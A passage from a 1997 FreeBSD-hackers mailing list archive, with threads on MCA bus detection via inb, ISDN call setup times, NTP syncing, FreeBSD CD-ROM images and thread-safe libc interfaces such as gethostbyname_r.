JAA02441; Thu, 18 Sep 1997 09:44:43 +0930 (CST) Message-ID: <19970918094442.22236@lemis.com> Date: Thu, 18 Sep 1997 09:44:42 +0930 From: Greg Lehey To: Lutz Albers Cc: Zoltan Sebestyen , FreeBSD hackers mailinglist Subject: Re: XDM again References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: ; from Lutz Albers on Wed, Sep 17, 1997 at 11:17:47AM +0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Sep 17, 1997 at 11:17:47AM +0200, Lutz Albers wrote: > Zoltan Sebestyen wrote on 17.09.1997 > XDM again > > >> Hi, >> >> I've just found out that I'm totally wrong. I wrote my previous letter >> about XDM, because I'm porting KDE's xdm replacement and the linker >> complained that it can't resolve '_getnetname'. I thought it's a Linux >> hack, but it isn't, the original xdm also uses this function. Does anyone >> know in which library is this function? (On Linux, it's in libc, but no >> header contains its definition!) > > Maybe you're looking for something like: > getnetent, getnetbyaddr, getnetbyname, setnetent, endnetent > - get network entry It's not that simple. The function in in libc in -current, but not in 2.2-release. I started looking for it, but got sidetracked. Greg From owner-freebsd-hackers Wed Sep 17 17:41:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA22863 for hackers-outgoing; Wed, 17 Sep 1997 17:41:55 -0700 (PDT) Received: from usr04.primenet.com (tlambert@usr04.primenet.com [206.165.6.204]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA22856 for ; Wed, 17 Sep 1997 17:41:53 -0700 (PDT) Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id RAA21191 for hackers@freebsd.org; Wed, 17 Sep 1997 17:41:48 -0700 (MST) From: Terry Lambert Message-Id: <199709180041.RAA21191@usr04.primenet.com> Subject: INB question To: hackers@freebsd.org Date: Thu, 18 Sep 1997 00:41:48 +0000 (GMT) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If a device doesn't exist, what does inb return? 0xff, right? Specifically, how do I know if something lives at a given port? I want to do the following: #include #include /* * MCA DMA */ #define IO_MCA_A_DXFR 0x18 /* DMA Extended Function Register (address)*/ #define IO_MCA_I_DXFR 0x1A /* DMA Extended Function Register (I/O)*/ /* * High Nibble commands; low nibble specifies which channel, 0-7 */ #define MCA_DXFR_IOAR 0x00 /* I/O Address Register*/ #define MCA_DXFR_BCAW 0x20 /* Base and Current Address Write*/ #define MCA_DXFR_BAR 0x30 /* Base Address Read*/ #define MCA_DXFR_BCCW 0x40 /* Base and Current Count Write*/ #define MCA_DXFR_BCR 0x50 /* Base Count Read*/ #define MCA_DXFR_SRR 0x60 /* Status Register Read*/ #define MCA_DXFR_EMR 0x70 /* Extended Mode Register*/ #define MCA_DXFR_MRDC 0x90 /* Mask Register Disable Channel*/ #define MCA_DXFR_MREC 0xA0 /* Mask Register Ensable Channel*/ #define MCA_DXFR_MD 0xD0 /* Master Disable*/ /* * Channel specific commands */ #define MCA_DXFR_AL0 0x80 /* Arbitration Level -- Channel 0*/ #define MCA_DXFR_AL4 0x84 /* Arbitration Level -- Channel 4*/ /* * Return 1 if MCA bus exists, 0 otherwise * * Note: Can't call INT 0x15, AH=0xC0 and use ptr to offset 5, * bit 1 for MCA detect from protected mode. Instead, * read DMA Extended Function Register's Extended Mode * register and make sure bit 7 is 0 by assuming an * inb on an invalid I/O port will return 0xff. */ int mca_detect() { int rv; outb( IO_MCA_A_DXFR, (MCA_DXFR_EMR | 0x0)); inb( 0x84); /* delay; this is bogus excpt on EISA, and * it's not needed on EISA because it sync's * I/O like ISA should have... should use * outb to port 0x80 (POST code register) * instead... */ rv = inb( IO_MCA_I_DXFR); return( ( rv & 0x80) ? 0 : 1); } Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Wed Sep 17 23:54:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA12580 for hackers-outgoing; Wed, 17 Sep 1997 23:54:40 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA12569 for ; Wed, 17 Sep 1997 23:54:36 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id XAA01748; Wed, 17 Sep 1997 23:53:03 -0700 (PDT) Date: Wed, 17 Sep 1997 23:53:03 -0700 (PDT) From: "Jamil J. Weatherbee" To: Greg Lehey cc: Eivind Eklund , Joerg Wunsch , hackers@FreeBSD.ORG Subject: Re: Kernel clock runs inaccurately In-Reply-To: <19970917151342.00824@lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I would say that call setup for my centrex is less than half a second, since I have been logged into the isdn router(Ascend 50) and done a hangup on the MPP connection (the same one i was logged in) and was suprised to find that basically that it looks like you were logged in locally (through serial port on router) because connection box goes to C and then O almos immediately i.e. the pause is so short between hangup-connect that I can't really tell that a hangup occured On Wed, 17 Sep 1997, Greg Lehey wrote: > On Wed, Sep 17, 1997 at 06:31:55AM +0200, Eivind Eklund wrote: > >> > >> Too expensive still. The dialup itself is ISDN, so the setup time is > >> ~ 2 seconds or less, but having an xntpd calling each 5 or 15 minutes > >> would greatly increase our phone and Internet costs. > > > > BTW: What kind of setup are you running to get <2s setup time? I'm > > consistently ending up at 4-5s, having tried with different external > > TAs, ISDN-adapters, PPP-implementations and portmasters. > > Call setup time is usually outside your control. It depends on the > public network. When I lived in Germany, setup time was closer to 1 > second than 2. > > Greg > From owner-freebsd-hackers Wed Sep 17 23:57:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA12894 for hackers-outgoing; Wed, 17 Sep 1997 23:57:19 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA12887 for ; Wed, 17 Sep 1997 23:57:14 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id IAA01026; Thu, 18 Sep 1997 08:56:54 +0200 (MEST) From: Søren Schmidt Message-Id: <199709180656.IAA01026@sos.freebsd.dk> Subject: Re: INB question In-Reply-To: <199709180041.RAA21191@usr04.primenet.com> from Terry Lambert at "Sep 18, 97 00:41:48 am" To: tlambert@primenet.com (Terry Lambert) Date: Thu, 18 Sep 1997 08:56:54 +0200 (MEST) Cc: hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply to Terry Lambert who wrote: > If a device doesn't exist, what does inb return? 0xff, right? Wrong, result is not known, and depends on implemetation details on the MB and to some extent the cards put in the bus... > Specifically, how do I know if something lives at a given port? By doing intelligent probes, or knowing up front what to look for.. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Wed Sep 17 23:59:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA13101 for hackers-outgoing; Wed, 17 Sep 1997 23:59:12 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA13091 for ; Wed, 17 Sep 1997 23:59:07 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id XAA07935; Wed, 17 Sep 1997 23:58:51 -0700 (PDT) Message-Id: <199709180658.XAA07935@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Simon Shapiro cc: Chuck Robey , FreeBSD-Hackers Subject: Re: Distributed Lock Manager on FreeBSD (fwd) In-reply-to: Your message of "Wed, 17 Sep 1997 09:05:27 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 23:58:51 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk You meant that you have an elegant solution 8) Regards, Amancio >From The Desk Of Simon Shapiro : > > Hi Chuck Robey; On 17-Sep-97 you wrote: > > ... > > > I'm impressed! This is a huge undertaking. I'd love to read more, I > > hope > > you post updates, or give URL's where I can read more about it. > > Actually, there is very little code in it. Understanding the issues and > designing were more difficult. > > > --- > > > Sincerely Yours, (Sent on 17-Sep-97, 08:59:34 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 > From owner-freebsd-hackers Thu Sep 18 00:11:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA13809 for hackers-outgoing; Thu, 18 Sep 1997 00:11:10 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA13801 for ; Thu, 18 Sep 1997 00:11:02 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.7/8.8.5) with SMTP id AAA01769; Thu, 18 Sep 1997 00:07:55 -0700 (PDT) Date: Thu, 18 Sep 1997 00:07:55 -0700 (PDT) From: "Jamil J. Weatherbee" To: Peter Korsten cc: Wm Brian McCane , hackers@FreeBSD.ORG Subject: Re: ISDN Modems In-Reply-To: <19970917012854.13329@grendel.IAEhv.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk To be honest with you I thought about this for a few months, If you in the US the best solution is something like an Ascend Pipeline 50 router (no firewall) ($599), with a crossover (included) to an inexpensive NE2000 card ($40). This is about twice as expensive as a Motorola Bitsurfer (~$300) and doesn't have the analog ports (but if you want isdn for making voice calls your a wacko anyway). The reason I was willing to pay the extra $300 were: A. ping time to peer with router = 30ms, B. ping time to peer with Serial based internal card or external = 100ms (If youv'e ever played quake on the internet you know just how much difference this makes) C. Extensive automatic connect abilities on the router (which i don't use) which will save you $$$ if you pay per minute usage charges, D. Really, Really much easier to set up --- though I read the book to make sure about some of the security features. E. I've had atleast two people (who got ISDN lines before me) tell me if they did it again they would of spilled the cash for the router over the TAs. It's kind of like the difference between SCSI and IDE. > However, this is only good for Europe. I don't know the exact > reasons, but I think that external ISDN adapters are more popular > on the other side of the Big Pond, at least with those capable of > developing driver code. So I guess the question for you is: which > serial card and which ISDN adapter (please don't call them modems, > that's the whole idea of ISDN: you no longer need to modulate/demod- > ulate the data) am I going to use? > > - Peter > From owner-freebsd-hackers Thu Sep 18 00:17:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA14200 for hackers-outgoing; Thu, 18 Sep 1997 00:17:52 -0700 (PDT) Received: from usr06.primenet.com (tlambert@usr06.primenet.com [206.165.6.206]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA14194 for ; Thu, 18 Sep 1997 00:17:49 -0700 (PDT) Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id AAA18398; Thu, 18 Sep 1997 00:17:37 -0700 (MST) From: Terry Lambert Message-Id: <199709180717.AAA18398@usr06.primenet.com> Subject: Re: INB question To: sos@sos.freebsd.dk (Søren Schmidt) Date: Thu, 18 Sep 1997 07:17:37 +0000 (GMT) Cc: tlambert@primenet.com, hackers@freebsd.org In-Reply-To: <199709180656.IAA01026@sos.freebsd.dk> from "Søren Schmidt" at Sep 18, 97 08:56:54 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > If a device doesn't exist, what does inb return? 0xff, right? > > Wrong, result is not known, and depends on implemetation details > on the MB and to some extent the cards put in the bus... > > > Specifically, how do I know if something lives at a given port? > > By doing intelligent probes, or knowing up front what to look for.. OK, I give up: other than calling INT 0x15, AH=0xC0, how do I detect whether a machine is MCA or not without hard coding it in my kernel configuration file? I need an MCA bus detect. 8-(. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 00:18:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA14241 for hackers-outgoing; Thu, 18 Sep 1997 00:18:13 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA14227 for ; Thu, 18 Sep 1997 00:18:08 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id QAA20846; Thu, 18 Sep 1997 16:47:47 +0930 (CST) Message-ID: <19970918164746.03636@lemis.com> Date: Thu, 18 Sep 1997 16:47:47 +0930 From: Greg Lehey To: "Jamil J. Weatherbee" Cc: FreeBSD Hackers Subject: Re: Kernel clock runs inaccurately References: <19970917151342.00824@lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: ; from Jamil J. Weatherbee on Wed, Sep 17, 1997 at 11:53:03PM -0700 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, Sep 17, 1997 at 11:53:03PM -0700, Jamil J. Weatherbee wrote: > I would say that call setup for my centrex is less than half a > second, That's fast, but not impossible. > since I have been logged into the isdn router(Ascend 50) and done a hangup > on the MPP connection (the same one i was logged in) and was suprised to > find that basically that it looks like you were logged in locally (through > serial port on router) because connection box goes to C and then O almos > immediately i.e. the pause is so short between hangup-connect that I can't > really tell that a hangup occured Yes, I sometimes got the feeling that the line was just a bit "sticky", when in fact it had been dropped and reconnected. I ran a modified version of bisdn which logged things like call setup time. It also set the system clock from the ISDN network clock :-) Greg From owner-freebsd-hackers Thu Sep 18 00:20:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA14423 for hackers-outgoing; Thu, 18 Sep 1997 00:20:20 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA14416 for ; Thu, 18 Sep 1997 00:20:16 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA05174 for hackers@freebsd.org; Thu, 18 Sep 1997 09:20:15 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id JAA06200; Thu, 18 Sep 1997 09:00:20 +0200 (MET DST) Message-ID: <19970918090019.CO63350@uriah.heep.sax.de> Date: Thu, 18 Sep 1997 09:00:19 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@freebsd.org Subject: Re: Kernel clock runs inaccurately References: <199709170431.GAA29657@bitbox.follo.net> <199709172322.JAA02142@gurney.reilly.home> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709172322.JAA02142@gurney.reilly.home>; from Andrew Reilly on Sep 18, 1997 09:22:01 +1000 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Andrew Reilly wrote: > Sorry for leaping into the conversation late, but what's wrong with > running "ntpdate -bs servers..." from a shell script run from the > ppp.linkup? Nothing like ppp.linkup in my case. I was talking about our company, connected to the Internet via an ISDN router. However, since this discussion started, i finally made it up to connect my simplicistic radio clock, and so we are happy NTP users now, too. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Sep 18 00:20:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA14495 for hackers-outgoing; Thu, 18 Sep 1997 00:20:45 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA14486 for ; Thu, 18 Sep 1997 00:20:40 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA05181 for hackers@FreeBSD.ORG; Thu, 18 Sep 1997 09:20:39 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id JAA06245; Thu, 18 Sep 1997 09:13:06 +0200 (MET DST) Message-ID: <19970918091306.RY00955@uriah.heep.sax.de> Date: Thu, 18 Sep 1997 09:13:06 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: INB question References: <199709180041.RAA21191@usr04.primenet.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199709180041.RAA21191@usr04.primenet.com>; from Terry Lambert on Sep 18, 1997 00:41:48 +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Terry Lambert wrote: > If a device doesn't exist, what does inb return? 0xff, right? Often. More exactly, it returns a random value with a tendency to 0xff. > Specifically, how do I know if something lives at a given port? Use a real bus where access to a non-existing address causes a bus error. Forget about ISA. :-/ -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Thu Sep 18 00:25:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA14855 for hackers-outgoing; Thu, 18 Sep 1997 00:25:44 -0700 (PDT) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA14845 for ; Thu, 18 Sep 1997 00:25:40 -0700 (PDT) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id JAA01170; Thu, 18 Sep 1997 09:25:33 +0200 (MEST) From: Søren Schmidt Message-Id: <199709180725.JAA01170@sos.freebsd.dk> Subject: Re: INB question In-Reply-To: <199709180717.AAA18398@usr06.primenet.com> from Terry Lambert at "Sep 18, 97 07:17:37 am" To: tlambert@primenet.com (Terry Lambert) Date: Thu, 18 Sep 1997 09:25:33 +0200 (MEST) Cc: tlambert@primenet.com, hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply to Terry Lambert who wrote: > > > If a device doesn't exist, what does inb return? 0xff, right? > > > > Wrong, result is not known, and depends on implemetation details > > on the MB and to some extent the cards put in the bus... > > > > > Specifically, how do I know if something lives at a given port? > > > > By doing intelligent probes, or knowing up front what to look for.. > > OK, I give up: other than calling INT 0x15, AH=0xC0, how do I detect > whether a machine is MCA or not without hard coding it in my kernel > configuration file? You giving up, so easy ?? naw.... There must be some device or something on a MCA board thats different form the ISA/EISA/PCI systems, probe for that... > I need an MCA bus detect. 8-(. The only thing I really know about the MCA bus is that I avoid it like the plaque, besides that I'm not too familliar with it, but a detect routine cant be that difficult to make... -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-hackers Thu Sep 18 00:29:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA15108 for hackers-outgoing; Thu, 18 Sep 1997 00:29:09 -0700 (PDT) Received: from usr06.primenet.com (tlambert@usr06.primenet.com [206.165.6.206]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA15101 for ; Thu, 18 Sep 1997 00:29:07 -0700 (PDT) Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id AAA19024; Thu, 18 Sep 1997 00:28:55 -0700 (MST) From: Terry Lambert Message-Id: <199709180728.AAA19024@usr06.primenet.com> Subject: Re: INB question To: sos@sos.freebsd.dk (Søren Schmidt) Date: Thu, 18 Sep 1997 07:28:55 +0000 (GMT) Cc: tlambert@primenet.com, hackers@freebsd.org In-Reply-To: <199709180725.JAA01170@sos.freebsd.dk> from "Søren Schmidt" at Sep 18, 97 09:25:33 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > OK, I give up: other than calling INT 0x15, AH=0xC0, how do I detect > > whether a machine is MCA or not without hard coding it in my kernel > > configuration file? > > You giving up, so easy ?? naw.... > > There must be some device or something on a MCA board thats different > form the ISA/EISA/PCI systems, probe for that... Well, I can look for MCA cards. That assumes I have MCA cards installed or locally bridged (I have an MCA SCSI on the motherboard, so that'll do my machine, but not anyone else's). > > I need an MCA bus detect. 8-(. > > The only thing I really know about the MCA bus is that I avoid it > like the plaque, besides that I'm not too familliar with it, but > a detect routine cant be that difficult to make... Heh. That's what I thought when I bought the thing and drug out all that old ABIOS code about 6 months ago... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Sep 18 01:01:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA16957 for hackers-outgoing; Thu, 18 Sep 1997 01:01:29 -0700 (PDT) Received: from piggy.mdstud.chalmers.se (root@piggy.mdstud.chalmers.se [129.16.234.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA16951 for ; Thu, 18 Sep 1997 01:01:24 -0700 (PDT) Received: from dali8.mdstud.chalmers.se (md6tommy@dali8.mdstud.chalmers.se [129.16.235.18]) by piggy.mdstud.chalmers.se (8.8.5/8.8.5) with ESMTP id KAA21200; Thu, 18 Sep 1997 10:01:18 +0200 (MET DST) Received: from localhost (md6tommy@localhost) by dali8.mdstud.chalmers.se (8.8.5/8.8.5) with SMTP id KAA12969; Thu, 18 Sep 1997 10:01:17 +0200 (MET DST) X-Authentication-Warning: dali8.mdstud.chalmers.se: md6tommy owned process doing -bs Date: Thu, 18 Sep 1997 10:01:17 +0200 (MET DST) From: Tommy Hallgren To: Joerg Wunsch cc: freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-Reply-To: <19970917202032.WM57415@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, J Wunsch wrote: > As Tommy Hallgren wrote: > > > I read that the Debian group has made a CDROM image of their release, > > maybe this would be a good idea for the FreeBSD community as well? > > > > The idea is nice, just download the image, burn it, make some floppys and > > reboot. > > What (except the smaller traffic) would it buy you to just download > the boot floppy, and use the FTP installation method? Ftp'ing 650MB using a fast connection is no problem, but doing the ftp'installation at home using 33.6k modem is horror. I'd rather use the fast connection and take a CD home and install from that. You folks keep forgetting that not everyone have a speedy connection at home. Mvh: Tommy From owner-freebsd-hackers Thu Sep 18 01:04:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA17204 for hackers-outgoing; Thu, 18 Sep 1997 01:04:10 -0700 (PDT) Received: from piggy.mdstud.chalmers.se (root@piggy.mdstud.chalmers.se [129.16.234.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA17198 for ; Thu, 18 Sep 1997 01:04:02 -0700 (PDT) Received: from dali8.mdstud.chalmers.se (md6tommy@dali8.mdstud.chalmers.se [129.16.235.18]) by piggy.mdstud.chalmers.se (8.8.5/8.8.5) with ESMTP id KAA21556; Thu, 18 Sep 1997 10:03:59 +0200 (MET DST) Received: from localhost (md6tommy@localhost) by dali8.mdstud.chalmers.se (8.8.5/8.8.5) with SMTP id KAA13004; Thu, 18 Sep 1997 10:03:58 +0200 (MET DST) X-Authentication-Warning: dali8.mdstud.chalmers.se: md6tommy owned process doing -bs Date: Thu, 18 Sep 1997 10:03:58 +0200 (MET DST) From: Tommy Hallgren To: Terry Lambert cc: jkh@time.cdrom.com, freebsd-hackers@FreeBSD.ORG Subject: Re: CDROM image In-Reply-To: <199709172013.NAA13644@usr02.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997, Terry Lambert wrote: > > In Windows95 everything looked fine. But in Linux(which I used back then) > > every filename was in lower case. :-( > > In Windows95, long file names are case sensitive on storage, case > insensitive on lookup. I believe lowercasing them was an acessability > hack in the CDROM driver on Linux. They are lower case using FreeBSD too. :-( Mvh: Tommy From owner-freebsd-hackers Thu Sep 18 02:13:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA20863 for hackers-outgoing; Thu, 18 Sep 1997 02:13:43 -0700 (PDT) Received: from dublin.iona.ie (operation.dublin.iona.ie [192.122.221.5]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA20858 for ; Thu, 18 Sep 1997 02:13:39 -0700 (PDT) Received: from ultra (ultra [192.122.221.136]) by dublin.iona.ie (8.7.5/jm-1.01) with SMTP id KAA21365; Thu, 18 Sep 1997 10:12:10 +0100 (BST) Date: Thu, 18 Sep 1997 10:11:45 +0100 (BST) From: Niall Smart X-Sender: nsmart@ultra To: Terry Lambert cc: freebsd-hackers@freebsd.org Subject: Re: Thread safe libc In-Reply-To: <199709180023.RAA19855@usr04.primenet.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 18 Sep 1997, Terry Lambert wrote: > I would definitely prefer that the user supply the buffers to an *_r() > routine (I think these routines should replace the standard ones, since > the standard ones are obviously defective, so they don't have the dumb > "_r" appendage), and the scoping of data in threads be forthright and > obvious to anyone reading the code. I agree, it seems to me that the introduction of thread specific data is due to programmers prefering the older, simpler (and broken) interfaces. Memory management with multiple threads is necessarily more complex than a single threaded process, thread specific data isn't a "silver bullet" that will allow us to continue using the old naive interfaces. Also, the internal functions of a multithreaded program will usually follow the policy "pass me a pointer to the buffer where I should put the data" (otherwise we would see a proliferation of confusing tsd), library functions should be consistent with this model. The POSIX _r style functions aren't all that bad, you can choose between 100% correct code like this: int fn(const char *hostname) { int i; int buflen; int err; char* buf; char* oldbuf; struct hostent he; buflen = 0; buf = NULL; errno = 0; do { oldbuf = buf; buflen += 1024; if ((buf = realloc(oldbuf, buflen)) == NULL) { free(oldbuf); die("out of memory"); } } while (gethostbyname_r(hostname, &he, buf, buflen, &err) == NULL && errno == ERANGE); if (errno != 0) { /* blah blah blah... */ } /* blah blah blah ... */ } Or you can settle for this: int fn(const char* hostname) { struct hostent he; char buf[1024]; int err; if (gethostbyname_r(hostname, &he, buf, sizeof(buf), &err) == NULL) { if (errno == ERANGE) { die("static buffer too small"); } else { /* blah blah blah ... */ } } /* blah blah blah ... */ } In any case, its the programmers choice, other people might use the version that mallocs the right amount of memory when the static buffer turns out to be too small (at runtime) and others might use wrappers and a langauge like C++ that makes memory management for built in types less of a pain in the ass, and others might even decide to use wrapper functions which implement the old interface using thread specific data! :) Regards, -- Niall Smart Customer Engineering, IONA Technologies. (www.iona.com) From owner-freebsd-hackers Thu Sep 18 02:19:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA21074 for hackers-outgoing; Thu, 18 Sep 1997 02:19:19 -0700 (PDT) Received: from tyree.iii.co.uk (tyree.iii.co.uk [193.117.77.66]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA21057 for ; Thu, 18 Sep 1997 02:19:11 -0700 (PDT) Received: from carrig.strand.iii.co.uk (carrig.strand.iii.co.uk [192.168.7.25]) by tyree.iii.co.uk (8.8.4/8.8.4) with ESMTP id KAA01233 for ; Thu, 18 Sep 1997 10:16:21 +0100 (BST) Received: (from nik@localhost) by carrig.strand.iii.co.uk 